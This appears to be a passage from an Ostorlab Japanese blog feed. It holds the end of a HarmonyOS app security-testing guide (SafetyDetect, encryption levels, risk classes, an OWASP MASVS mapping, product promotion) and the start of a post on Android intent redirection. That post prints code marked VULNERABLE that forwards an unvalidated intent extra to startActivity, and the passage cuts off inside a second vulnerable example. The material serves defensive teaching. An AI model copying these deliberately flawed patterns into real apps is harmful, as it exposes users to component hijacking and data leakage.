&lt;p&gt;&lt;strong&gt;注記：&lt;/strong&gt; &lt;em&gt;これらのリスククラスはHarmonyOSのアーキテクチャに固有のものであり、Android中心のスキャナーでは通常カバーされません。定義については&lt;a href="https://developer.huawei.com/consumer/en/doc/harmonyos-guides-V14/glossary-V14"&gt;&lt;strong&gt;Huaweiの公式用語集&lt;/strong&gt;&lt;/a&gt;を参照してください。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;検出結果は実証レベルのエビデンスとともに提供されるため、チームはリスクを素早く検証し、修復の優先順位付けを行えます。既存のAppSecパイプラインに組み込んで、リリース前の検証や、継続的でバージョン単位のセキュリティ評価を行えます。&lt;/p&gt;
&lt;p&gt;AppGalleryのアプリは、&lt;a href="https://ostorlab.co/"&gt;ostorlab.co&lt;/a&gt;からログイン不要でスキャンできます。また、アカウントを通じて&lt;code&gt;.HAP&lt;/code&gt; / &lt;code&gt;.APP&lt;/code&gt;パッケージを直接アップロードすることもできます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlab HarmonyOSおよびHuawei AppGallery脆弱性スキャンのメニュー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_04_27_harmonyos_security _testing_pillar_article/ostorlab-harmonyos-scan-menu.png" title="Ostorlab HarmonyOs &amp;amp; Huawei Appgallery Vulnerability Scan Menu"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlab HarmonyOs &amp;amp; Huawei Appgallery Vulnerability Scan Menu&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="harmonyos nextの主要なセキュリティ機能"&gt;&lt;strong&gt;HarmonyOS NEXTの主要なセキュリティ機能&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;HarmonyOSには、アプリの保護とテストのあり方に影響する組み込みの機能があります。これらはツールではなく、アプリがどう動作するか、何にアクセスできるか、そしてデータがどう保護されるかを定める、システムレベルの制御です。&lt;/p&gt;
&lt;p&gt;これらの機能はセキュリティの仕組みを提供しますが、それでもテストの際には正しい実装と検証が求められます。&lt;/p&gt;
&lt;h3 id="実行時のセキュリティ:harmonyos safetydetect api"&gt;実行時のセキュリティ：HarmonyOS SafetyDetect API&lt;/h3&gt;
&lt;p&gt;HarmonyOSは、アプリケーションが実行時に端末の状態を評価できるようにする実行時セキュリティフレームワークである&lt;strong&gt;SafetyDetect&lt;/strong&gt;を提供します。これには&lt;strong&gt;4つの主要な機能&lt;/strong&gt;が含まれます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;技術的な目的&lt;/th&gt;
&lt;th&gt;セキュリティ検証の着眼点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SysIntegrity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;root化/改ざんされた端末の状態を検知する。&lt;/td&gt;
&lt;td&gt;検証は&lt;strong&gt;端末側のみ&lt;/strong&gt;で行われる。ネイティブなサーバー側のアテステーションを欠くため、監査人はアプリのロジックをローカルで操作して「クリーン」なステータスを返させられないかを確認する必要がある。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;URLCheck&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;脅威インテリジェンスと照合してURLをスキャンする。&lt;/td&gt;
&lt;td&gt;悪意ある結果が返ったときに、バイパス可能な警告をログに記録するだけでなく、アプリが&lt;strong&gt;セッションを終了する&lt;/strong&gt;ことを検証する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AppsCheck&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;端末上の悪意ある/リスクのあるアプリを検知する。&lt;/td&gt;
&lt;td&gt;アプリがこれを受動的なテレメトリのためではなく、&lt;strong&gt;機微な操作を保護する&lt;/strong&gt;（例：画面スクレイパーの検知）ために使っていることを確認する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UserDetect&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人間の操作とBotを区別する。&lt;/td&gt;
&lt;td&gt;ネイティブAPI（NAPI）インジェクションによるバイパスを防ぐため、得られたトークンが&lt;strong&gt;バックエンドで検証される&lt;/strong&gt;ことを確認する。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらのAPIはアプリケーションのロジックに組み込んで、信頼にかかわる判断を動的に強制できます。ただし、グローバルに展開するチームは、&lt;strong&gt;Wi-Fi関連の検知を含む一部のSafetyDetectの機能は、中国本土に限定される場合がある&lt;/strong&gt;点に留意してください。本番のセキュリティアーキテクチャでこれらの制御に依拠する前に、展開対象のリージョンでAPIの挙動を検証してください。&lt;/p&gt;
&lt;h3 id="harmonyosのデータ暗号化レベル"&gt;HarmonyOSのデータ暗号化レベル&lt;/h3&gt;
&lt;p&gt;HarmonyOSは、アプリのデータにいつアクセスできるかを開発者が制御できる&lt;strong&gt;多段階の暗号化システム&lt;/strong&gt;を使用します。一部のデータは常に利用可能である一方、より機微なデータはアクセスのたびにユーザー認証を要求できます。&lt;/p&gt;
&lt;p&gt;このモデルは、一般的なAndroidのデフォルトよりも多くの制御を可能にし、iOSのデータ保護システムに似ています。&lt;/p&gt;
&lt;p&gt;実際には、選択する暗号化レベルは、セキュリティと、ユーザーがアプリにどれだけ容易にアクセスできるかの両方に影響します。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レベル&lt;/th&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;挙動&lt;/th&gt;
&lt;th&gt;典型的な用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EL1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;常時有効&lt;/td&gt;
&lt;td&gt;端末の電源が入っている間、データにアクセス可能&lt;/td&gt;
&lt;td&gt;機微でないシステムまたはアプリのデータ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EL2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;初回ロック解除後&lt;/td&gt;
&lt;td&gt;端末の初回ロック解除後に利用可能になり、ロック中でも端末が稼働している間はアクセス可能なまま&lt;/td&gt;
&lt;td&gt;バックグラウンドサービス（アラーム、システム機能）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EL3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;初期ロック解除後&lt;/td&gt;
&lt;td&gt;少なくとも1回のロック解除後にアクセス可能。画面がロックされていても利用可能なまま&lt;/td&gt;
&lt;td&gt;機微性の低い機能（アクセシビリティ、緊急時データ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EL4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ロック解除時のみ&lt;/td&gt;
&lt;td&gt;端末が実際にロック解除されているときのみアクセス可能。画面がオフになると再びロックされる&lt;/td&gt;
&lt;td&gt;ほとんどのアプリケーションデータのデフォルト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EL5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;アクセスごとに認証&lt;/td&gt;
&lt;td&gt;データへのアクセスのたびにユーザー認証を要求する&lt;/td&gt;
&lt;td&gt;高度に機微なデータ（認証情報、健康、金融情報）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="harmonyosのデータ暗号化レベルとiosの対応付け"&gt;HarmonyOSのデータ暗号化レベルとiOSの対応付け&lt;/h4&gt;
&lt;p&gt;理解しやすくするために、これらのレベルは&lt;strong&gt;iOSがデータ保護を扱う方法&lt;/strong&gt;とおおまかに比較できますが、同等ではありません。iOSには&lt;strong&gt;EL1〜EL5のレベルはありません&lt;/strong&gt;。代わりに、データへのアクセスは端末の状態と認証に依存します。簡単に言えば、iOSで常に利用可能なシステムデータは&lt;strong&gt;EL1&lt;/strong&gt;に最も近く、初回ロック解除後に利用可能になるデータは&lt;strong&gt;EL2〜EL3&lt;/strong&gt;に似ており、端末が実際にロック解除されていることを要求するデータは&lt;strong&gt;EL4&lt;/strong&gt;に似ており、毎回の認証（Face ID / Touch ID）を要求するデータは&lt;strong&gt;EL5&lt;/strong&gt;に最も近いです。&lt;/p&gt;
&lt;h3 id="コードの保護:arkguardによる難読化"&gt;コードの保護：ArkGuardによる難読化&lt;/h3&gt;
&lt;p&gt;PandaバイトコードにコンパイルされたHarmonyOSアプリケーションは、端末から取り出せば静的解析が可能です。リバースエンジニアリングのハードルを上げるために、Huaweiは&lt;strong&gt;ArkGuard&lt;/strong&gt;を提供しています。これは、ビルドの過程でシンボル名を付け替え、コードの可読性を下げる難読化ツールです。&lt;/p&gt;
&lt;p&gt;ArkGuardは静的解析に必要な労力を増やしますが、それ単体でセキュリティ境界として扱うべきではありません。&lt;/p&gt;
&lt;p&gt;機微なアプリケーションを効果的に保護するには、多層的なアプローチが必要です。&lt;/p&gt;
&lt;p&gt;1. 可能な場合は機微なロジックをバックエンドのシステムに移す&lt;br/&gt;
2. SysIntegrityまたは同等の手段を使って実行時にアプリケーションの整合性を検証する&lt;br/&gt;
3. 侵害された端末やroot化された端末では機能を制限する&lt;br/&gt;
4. リスクプロファイルが正当化する場合はアンチデバッグの仕組みを実装する&lt;br/&gt;
5. ArkGuardは実行時の保護の代わりにではなく、それと組み合わせて使う&lt;/p&gt;
&lt;h3 id="harmonyosの主なセキュリティテスト上の脆弱性"&gt;HarmonyOSの主なセキュリティテスト上の脆弱性&lt;/h3&gt;
&lt;p&gt;プラットフォームのアーキテクチャと&lt;strong&gt;Ostorlabのスキャン検出結果&lt;/strong&gt;の双方に基づくと、HarmonyOSアプリケーションにとって最も重要なリスク領域は次のとおりです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;セキュリティリスク&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;エクスポートされたAbilityの乗っ取り&lt;/td&gt;
&lt;td&gt;HarmonyOSのAbility（AndroidのActivity/Serviceに相当）は、不適切にエクスポートされると悪用され得ます。悪意あるアプリがそれらを呼び出し、アクセス制御をバイパスできるようになります。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Distributed Soft Busの悪用&lt;/td&gt;
&lt;td&gt;設定ミスのあるDSoftBus（端末をまたぐ通信レイヤー）は、データ漏えい、認可されていないリモートからのAbilityの呼び出し、端末をまたぐタスクの乗っ取りにつながる可能性があります。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ArkUI WebViewのインジェクション&lt;/td&gt;
&lt;td&gt;ArkUI WebView内の安全でないJavaScriptブリッジは、信頼できないWebコンテンツにネイティブAPIを呼び出させる可能性があり、HarmonyOS固有のテストの適応が必要です。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安全でないローカルデータの保存&lt;/td&gt;
&lt;td&gt;適切な暗号化なしにPreferencesやRDBに保存された機微なデータは、侵害された端末上で露出する可能性があります。自動スキャンでよく見つかります。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HAR/HAPパッケージによるサプライチェーンリスク&lt;/td&gt;
&lt;td&gt;HAR（Harmony Archive）やHAP（Harmony Ability Package）モジュール内の脆弱なサードパーティ依存関係は、エコシステムの成長に伴いサプライチェーンリスクをもたらします。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;脆弱な暗号とハードコードされた認証情報&lt;/td&gt;
&lt;td&gt;HUKS（Huawei Universal Keystore）をバイパスしたり、コードにシークレットを埋め込んだりすると、脆弱な暗号セキュリティと認証情報の露出につながります。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="harmonyosのためのowasp masvsマッピング"&gt;HarmonyOSのためのOWASP MASVSマッピング&lt;/h2&gt;
&lt;p&gt;下の表は、チームが既存のテスト計画を適応させる助けとなるよう、&lt;a href="https://mas.owasp.org/MASVS/"&gt;OWASP MASVS&lt;/a&gt;のカテゴリをHarmonyOSの対応物にマッピングしたものです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;OWASP MASVSカテゴリ&lt;/th&gt;
&lt;th style="text-align: center;"&gt;HarmonyOSでの状況&lt;/th&gt;
&lt;th&gt;備考&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MASVS-STORAGE：機微なデータの保存&lt;/td&gt;
&lt;td style="text-align: center;"&gt;適応して適用&lt;/td&gt;
&lt;td&gt;HarmonyOSの暗号化レベル（EL1-EL5）がAndroidのファイルベースの暗号化モデルに取って代わります。機微なデータがプラットフォームのデフォルトのままではなく、EL4またはEL5で保存されていることをテストします。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MASVS-CRYPTO：暗号&lt;/td&gt;
&lt;td style="text-align: center;"&gt;直接適用&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;HUKS&lt;/strong&gt;（HarmonyOS Universal Keystore）がAndroid Keystoreに取って代わります。ハードコードされた鍵、脆弱なアルゴリズム、そしてHUKSが正しく使われているか完全にバイパスされているかをテストします。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MASVS-AUTH：認証&lt;/td&gt;
&lt;td style="text-align: center;"&gt;直接適用&lt;/td&gt;
&lt;td&gt;Androidのサーバーで検証可能なトークンとは異なり、SysIntegrityのアテステーションは端末側のみです。バックエンドでの検証は別途テストする必要があります。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MASVS-NETWORK：ネットワーク通信&lt;/td&gt;
&lt;td style="text-align: center;"&gt;直接適用&lt;/td&gt;
&lt;td&gt;標準的なTLSのテストが適用されます。加えて、Androidに対応物のない、端末間のDSoftBusのトラフィックをテストします。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MASVS-PLATFORM：プラットフォーム連携&lt;/td&gt;
&lt;td style="text-align: center;"&gt;適応して適用&lt;/td&gt;
&lt;td&gt;エクスポートされたAbilityのテストが、Activity/Serviceのエクスポートのテストに取って代わります。インテントベースのテストは、HarmonyOSにおけるWantベースの呼び出しにおおまかに対応します。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MASVS-CODE：コード品質&lt;/td&gt;
&lt;td style="text-align: center;"&gt;適応して適用&lt;/td&gt;
&lt;td&gt;静的解析のツールがまったく異なります。DEXベースのツールは適用できません。&lt;strong&gt;Pandaバイトコード&lt;/strong&gt;には&lt;strong&gt;ark_disasm&lt;/strong&gt;と&lt;strong&gt;ArkTS固有の逆コンパイラー&lt;/strong&gt;が必要です。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MASVS-RESILIENCE：改ざん防止と難読化&lt;/td&gt;
&lt;td style="text-align: center;"&gt;適応して適用&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ArkGuard&lt;/strong&gt;は難読化を提供しますが、サーバーレベルでAndroidのSafetyNet/Play Integrityに相当する実行時の整合性はありません。&lt;strong&gt;Star Shield&lt;/strong&gt;はインストール時の検証のみを扱います。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;分散/端末をまたぐアタックサーフェス&lt;/td&gt;
&lt;td style="text-align: center;"&gt;OWASPに対応物なし&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;DSoftBus&lt;/strong&gt;、分散された権限、端末をまたぐAbilityの呼び出しには、MASVSへの直接的なマッピングがなく、HarmonyOS固有の脅威モデリングが必要です。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q：HarmonyOSのAbilityとは何ですか。&lt;/strong&gt;&lt;br/&gt;
Abilityは、HarmonyOSアプリの中核的なコンポーネントで、AndroidのActivityやServiceに似ています。設計次第で、画面やバックグラウンドのタスクといった、アプリの特定の機能を表します。&lt;/p&gt;
&lt;p&gt;セキュリティの観点では、Abilityはほかのアプリや、さらにはほかの端末にも公開され得ます。適切に設定されていない場合、正しい認可なしに呼び出される可能性があり、意図しない挙動やデータの露出につながりかねません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：マイクロカーネルとは何ですか。そしてHarmonyOSがそれを使うのはなぜですか。&lt;/strong&gt;&lt;br/&gt;
マイクロカーネルは、スレッドのスケジューリングやプロセス間通信といった必須のタスクのみを扱い、カメラ、ネットワーク、ストレージといったサービスは隔離されたユーザーモードのプロセスへと移します。HarmonyOSは独自のマイクロカーネルHongMengを使い、あるサービスが侵害された場合でも被害を限定します。攻撃者がシステムの残りの部分へ容易にピボットできないためです。これは、ほとんどのサービスを単一の特権カーネル空間で実行する従来のLinuxベースのカーネルとは対照的です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：HarmonyOSのセキュリティはAndroidと比べてどうですか。&lt;/strong&gt;&lt;br/&gt;
HarmonyOSは、システムの一部に形式検証を適用し、特定の脆弱性クラスが発生し得ないことを証明しています。同時に、そのHongMengマイクロカーネルは従来のLinuxカーネルよりも大幅に小さく、攻撃者が標的にできるコードの量を抑えています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：Huaweiは、HarmonyOSのアプリやシステムコンポーネントのセキュリティアップデートとパッチ適用をどう扱っていますか。&lt;/strong&gt;&lt;br/&gt;
Huaweiは、システムや組み込みアプリ全体にわたる複数のCVEを修正する、HarmonyOSとEMUI向けの月次セキュリティアップデートをリリースしています。これらのパッチは、メディアモジュールにおける重大度の高い競合状態や、ファイル管理における権限バイパスといった問題をカバーします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：Star Shieldとは何ですか。そして何から保護しますか。&lt;/strong&gt;&lt;br/&gt;
Star Shieldは、システムレベルで厳格なアプリの審査とコード署名のチェックを強制する、HarmonyOS NEXTのセキュリティフレームワークです。すべてのアプリはインストール前にHuaweiによって署名・検証されなければならず、これにより機微なデータへの認可されていないアクセスのほとんどが阻止され、HarmonyOSの以前のAndroid互換バージョンに存在したサイドローディングの経路も大部分が排除されます。&lt;/p&gt;
&lt;h2 id="ostorlabでharmonyosスキャンを始める"&gt;OstorlabでHarmonyOSスキャンを始める&lt;/h2&gt;
&lt;p&gt;上記で説明した自動スキャンを自社のHarmonyOSアプリで実行したい場合に、必要なものと、カバレッジの境界がどこにあるかを以下に示します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;必要なもの。&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AppGalleryからの、またはファイルとしてのアプリ。&lt;/strong&gt; &lt;strong&gt;New Scan&lt;/strong&gt;メニューで&lt;strong&gt;AppGallery&lt;/strong&gt;を選び、アプリ名またはバンドル名でアプリを検索するか、&lt;strong&gt;HarmonyOS App&lt;/strong&gt;を選んでパッケージをアップロードします。対応するHarmonyOSのファイルは&lt;code&gt;.HAP&lt;/code&gt;、&lt;code&gt;.APP&lt;/code&gt;、&lt;code&gt;.RPK&lt;/code&gt;、&lt;code&gt;.APK&lt;/code&gt;、&lt;code&gt;.AAB&lt;/code&gt;です。AppGalleryのアプリは、&lt;a href="https://ostorlab.co/"&gt;ostorlab.co&lt;/a&gt;からログインせずにスキャンすることもできます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スキャンプロファイル。&lt;/strong&gt; &lt;strong&gt;Fast&lt;/strong&gt;は素早い静的解析を、&lt;strong&gt;Full&lt;/strong&gt;は静的・動的・バックエンドの解析を、&lt;strong&gt;Privacy Scan&lt;/strong&gt;はプライバシーリスクの調査を実行します。拡張された依存関係の検出のために、オプションでSBOMやロックファイルをアップロードできます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ログインが必要なフロー向けのテスト用認証情報。&lt;/strong&gt; 動的解析がログインの先の画面に到達できるよう、&lt;strong&gt;Set scan credentials&lt;/strong&gt;のステップで追加します。対応する認証情報の種類については&lt;a href="https://docs.ostorlab.co/authenticated_scans/index.html"&gt;認証付きスキャン&lt;/a&gt;を参照してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;得られるもの。&lt;/strong&gt; 本ガイドで先に挙げたHarmonyOSのリスククラスに関する検出結果が、それらを検証し優先順位付けするための技術的なエビデンスとともに得られます。HarmonyOSアプリは、&lt;a href="https://ostorlab.co/product/multi-asset"&gt;マルチアセットスキャン&lt;/a&gt;のモバイルアセットにすることもできます。マルチアセットスキャンは、そのアプリをAPI、Webバックエンド、ソースコードとともに1回のスキャンでテストします。マルチアセットスキャンに含められるモバイルアプリは最大1つです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;カバレッジの境界。&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;難読化、改ざん防止、アンチデバッグ、root/ジェイルブレイク検知を検証する&lt;a href="https://docs.ostorlab.co/tutorials/mobile_shielding_scan.html"&gt;Mobile Shielding Scan&lt;/a&gt;は、AndroidとiOSのアプリ向けに文書化されています。&lt;/li&gt;
&lt;li&gt;上記のツール一覧の表が示すとおり、自動スキャンはHarmonyOSアプリの手動セキュリティレビューを補完するものであり、それを置き換えるものではありません。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;エビデンス。&lt;/strong&gt; &lt;a href="https://blog.ostorlab.co/vulnerability-scanner-harmonyos-huawei-appgallery.html"&gt;HarmonyOSアプリスキャン + Huawei AppGalleryスキャンのご紹介&lt;/a&gt;では、HarmonyOSとAppGalleryのスキャンの提供開始について説明しており、&lt;a href="https://docs.ostorlab.co/tutorials/mobile_store_scan.html"&gt;ストアスキャン&lt;/a&gt;と&lt;a href="https://docs.ostorlab.co/tutorials/mobile_app_file_scan.html"&gt;ファイルスキャン&lt;/a&gt;の手順ガイドが各画面を示しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;次のステップ。&lt;/strong&gt; &lt;a href="https://ostorlab.co/"&gt;ostorlab.co&lt;/a&gt;でAppGalleryのアプリの無料スキャンを実行するか、&lt;a href="https://ostorlab.co/demo"&gt;デモを予約&lt;/a&gt;して、Android、iOS、HarmonyOSのリリースにまたがるテストを計画しましょう。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;HarmonyOSは、強固な基盤コンポーネントを備えた現代的なセキュリティアーキテクチャを提供します。しかし、このエコシステムのツール、テスト手法、リージョンごとの機能の提供状況は、セキュリティチームがAndroidのワークフローをそのまま適用するのではなく、既存の手法を適応させることを求めます。&lt;/p&gt;
&lt;p&gt;HarmonyOSアプリケーションをテストするあらゆるチームにとっての要点は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pandaバイトコードには新しい静的解析ツールが必要であり、既存のDEX向けパイプラインは適用できない  &lt;/li&gt;
&lt;li&gt;DSoftBusは、Androidには存在しない端末をまたぐアタックサーフェスをもたらす  &lt;/li&gt;
&lt;li&gt;SysIntegrityの実行時のみの信頼モデルは、リスクの高いアプリではバックエンドによる補強を必要とする  &lt;/li&gt;
&lt;li&gt;データ暗号化レベルは、デフォルトに委ねるのではなく、意図的に選ぶべきである  &lt;/li&gt;
&lt;li&gt;Ostorlabによる自動スキャンは、HarmonyOS固有のリスククラス全体にわたってベースラインのカバレッジを提供する&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;p&gt;&lt;em&gt;Ostorlabは、Android、iOS、HarmonyOSに対応したモバイルアプリケーションセキュリティテストプラットフォームです。セキュリティチームはOstorlabを使って、アプリケーションのライフサイクル全体にわたってアプリを継続的に評価し、脆弱性を検出しています。&lt;a href="https://ostorlab.co/"&gt;Ostorlabを無料で試す &amp;rarr;&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content><category term="Security"/><category term="HarmonyOS"/></entry><entry><title>Androidのインテントリダイレクション：攻撃手法と修正方法</title><link href="https://blog.ostorlab.co/ja/android-intent-redirection.html" rel="alternate"/><published>2026-04-23T10:30:00+02:00</published><updated>2026-04-23T10:30:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-04-23:/ja/android-intent-redirection.html</id><summary type="html">&lt;p&gt;インテントリダイレクションによって攻撃者が非エクスポートのAndroidコンポーネントに到達し、setResult()経由でデータを漏えいさせ、PendingIntentを悪用する仕組みと、それを防ぐ6つの方法を解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;インテントリダイレクションは、悪意のある攻撃者が被害者アプリをだまし、自分に代わって&lt;code&gt;Intent&lt;/code&gt;を転送またはディスパッチさせるAndroidアプリケーションの脆弱性クラスです。転送されたインテントは被害者アプリのアイデンティティと権限で実行されるため、攻撃者は自身では特別な権限を一切持たずに、&lt;strong&gt;エクスポートされていないコンポーネント&lt;/strong&gt;に到達したり、&lt;strong&gt;機密データ&lt;/strong&gt;を盗んだり、&lt;strong&gt;権限昇格&lt;/strong&gt;を行ったりできます。&lt;/p&gt;
&lt;p&gt;この脆弱性は、Androidのバグバウンティプログラムにおいて常に最も影響の大きい検出結果の一つに位置付けられており、TikTokや複数のGoogle純正アプリなど、注目度の高いアプリケーションにも影響を与えてきました。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="インテントリダイレクションの仕組み"&gt;インテントリダイレクションの仕組み&lt;/h2&gt;
&lt;p&gt;この攻撃の核心は、&lt;strong&gt;プロキシパターン&lt;/strong&gt;の悪用にあります。被害者アプリケーションは外部（攻撃者が制御する）ソースからインテントを受け取り、十分な検証を行わないまま、そのインテントの一部を使って別のアクティビティの起動、ブロードキャストの送信、サービスのバインドを行います。&lt;/p&gt;
&lt;h3 id="攻撃の流れ"&gt;攻撃の流れ&lt;/h3&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Androidのインテントリダイレクションでは、攻撃者がエクスポートされたプロキシコンポーネントを悪用して信頼できないIntentを転送させ、非エクスポートのターゲットに到達し、setResult()経由でデータを漏えいさせ、URI付与によってコンテンツを盗み、認証フローを乗っ取ることができます。あわせて、実践的な多層防御の緩和策も示しています。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-22_android_intent_redirection/android-intent-redirection-attack-flow-diagram.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="中核となる誤用パターン"&gt;中核となる誤用パターン&lt;/h3&gt;
&lt;p&gt;最も単純な脆弱なコードは次のようになります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// VULNERABLE &amp;mdash; Unvalidated intent forwarding&lt;/span&gt;
&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;forward&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getIntent&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getParcelableExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"next_intent"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;startActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forward&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;被害者アプリは&lt;code&gt;next_intent&lt;/code&gt;エクストラを無条件に信頼し、攻撃者が指定したコンポーネントであれば何でも起動します。被害者自身のエクスポートされていないアクティビティも例外ではありません。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="脆弱なコードパターン"&gt;脆弱なコードパターン&lt;/h2&gt;
&lt;h3 id="1. 検証なしのインテント転送"&gt;1. 検証なしのインテント転送&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// VULNERABLE&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;RouterActivity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AppCompatActivity&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
